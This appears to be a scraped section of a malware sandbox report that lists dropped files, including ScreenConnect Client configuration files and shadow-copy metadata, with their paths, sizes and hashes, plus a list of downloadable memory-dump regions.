SHA512 aa9f82015c33c5446a3903df1b477f70b909c4943390b9c776d5e0e5a54d9cbb9037a0e36512c2c74bbea7a207ec61ff1232915ff1ce48ddef250587c00bf2e2
TLSH
T143016D5971C0AE5A02732E32D6614385FE711A57026530E874EE2137AF309EB07B32EA
MD5 SHA1 SHA512 TLSH

Submit Download

osetabhd.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\osetabhd.newcfg
Size 664B
SHA256 01afd6de205bbe6e8a96288f2582597a18a5b58a90519a6c20390b139195a716
MD5 b83d272106cd90c30712f0cc012a51e9
SHA1 8179c605174637e6b39dab033e5d9816aef2f87f
SHA512 d41bcb6a0ea74861ed91afa2f04cdd0bfba2a7c9d1127408ec293384024fbcd39ff1a6d5fcb54d71cbb01c8615df3f61c63b4a2addef44f2839474619398f1cc
TLSH
T15E01785570C0AE4702732A33C6618345FE31165B026120DC78AE213BAF305DF03A32CA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\user.config
Size 520B
SHA256 183ab4006aedb9edf39d56b599ef164deeec1d49dd1dfbafad2168801bbdd379
MD5 d0afa1d27fb664fbb53b7b54509d6348
SHA1 40ef882c7cbe86fea186d17bb64637235dbdf3f3
SHA512 f1fdc73dc0e5febd7e72ff860e8c9ff9e4ee4ac73473d9d1f8f2f97d83d2d36c6909950c1f372aa00417ef55d8d601350f5cb4918211935ee9e54b287b87d2d6
TLSH
T1C4F0E9A131806D5707636E23C5118745FE72579B0555209878AF217B9F315DE03A31CE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 d9b2d205b5c390ef1bc1381b65959a0ab95badbb99eafd8d76111985564e7a3a
MD5 958d5deff0ca43643baec9952d7ab57a
SHA1 ec079611d418b09abe08d9b7aec84d895bd9ca0f
SHA512 6d596fc98f890f3e4d2f731068e218762decd592d988afe061b5507fca846966c682e4258855aea32acb3b7459900ec88979136da3ef1f71bb3c59d38d4db968
SSDEEP 24576:OFo3DMPEdoO/vvTL/SgDTiFQ/Lu5oLUAEulh9ut7lGN6J0yzMYR2TKpCX+H:PHE
TLSH
T1D957B32936F92201E7F79E3CACF06A23493A7D5B9C15DE8D45411B4E0822F71E872F66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{9b87faef-f956-4fc5-9f82-87810d42f480}_OnDiskSnapshotProp

Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{9b87faef-f956-4fc5-9f82-87810d42f480}_OnDiskSnapshotProp
Size 6KB
SHA256 bce27da75c10d8d15a42bde041a08d9c9b62ff8fa0440ef15eb3f1d97e4a7e06
MD5 96491ef89bae2d9f62c42614a30e8f4b
SHA1 f9f00524aa81093898262c454074f6e5bcafe300
SHA512 dd15482660e03ce34dcc48f6d93a52772f92591257c48c48cb1be185bcc6791da9ad0c2e2c2a9ec607cbff99288fb54600b8c0105e39df50d933bf984b3ed48f
SSDEEP 96:FzP9ZBvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:9Phb++uVm
TLSH
T1A7D1770C5AE54711E2B3AB7128F18557A877B911EF33CB8E0198238E6630A10F975F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1656-181-0x00000000054A0000-0x00000000054F0000-memory.dmp

Download

memory/1656-163-0x0000000004970000-0x0000000004AC2000-memory.dmp

Download

memory/1656-202-0x00000000055A0000-0x0000000005642000-memory.dmp

Download

memory/1656-157-0x0000000004680000-0x00000000046B4000-memory.dmp

Download

memory/1656-167-0x0000000004F40000-0x0000000005126000-memory.dmp

Download

memory/3036-10-0x00000000082E0000-0x0000000008372000-memory.dmp

Download

memory/3036-1-0x0000000002F30000-0x0000000002F38000-memory.dmp

Download

memory/3036-13-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/3036-11-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/3036-8-0x0000000007840000-0x00000000078AE000-memory.dmp

Download

memory/3036-9-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/3036-2-0x0000000004750000-0x0000000004760000-memory.dmp

Download

memory/3036-0-0x0000000074A02000-0x0000000074A03000-memory.dmp

Download

memory/3036-3-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/3036-6-0x0000000007C80000-0x000000000823A000-memory.dmp

Download

memory/3036-4-0x0000000007150000-0x00000000072A2000-memory.dmp

Download

memory/3036-7-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/3036-5-0x00000000074E0000-0x00000000076C6000-memory.dmp

Download

memory/4936-221-0x0000000000F70000-0x0000000001106000-memory.dmp

Download

memory/4936-222-0x000000001BEB0000-0x000000001BF52000-memory.dmp

Download

memory/4936-223-0x000000001C4C0000-0x000000001C612000-memory.dmp

Download

memory/4936-226-0x000000001C810000-0x000000001C9F6000-memory.dmp

Download

memory/4936-227-0x000000001D090000-0x000000001D218000-memory.dmp

Download

memory/4936-228-0x000000001BE00000-0x000000001BE34000-memory.dmp

Download

memory/5240-34-0x00000000037C0000-0x00000000037EE000-memory.dmp

Download

memory/5240-46-0x0000000005D10000-0x0000000005EF6000-memory.dmp

Download

memory/5240-38-0x0000000003800000-0x000000000380C000-memory.dmp

Download

memory/5240-42-0x00000000059C0000-0x0000000005B12000-memory.dmp

Download

memory/6012-76-0x00000000053B0000-0x000000000541E000-memory.dmp

Download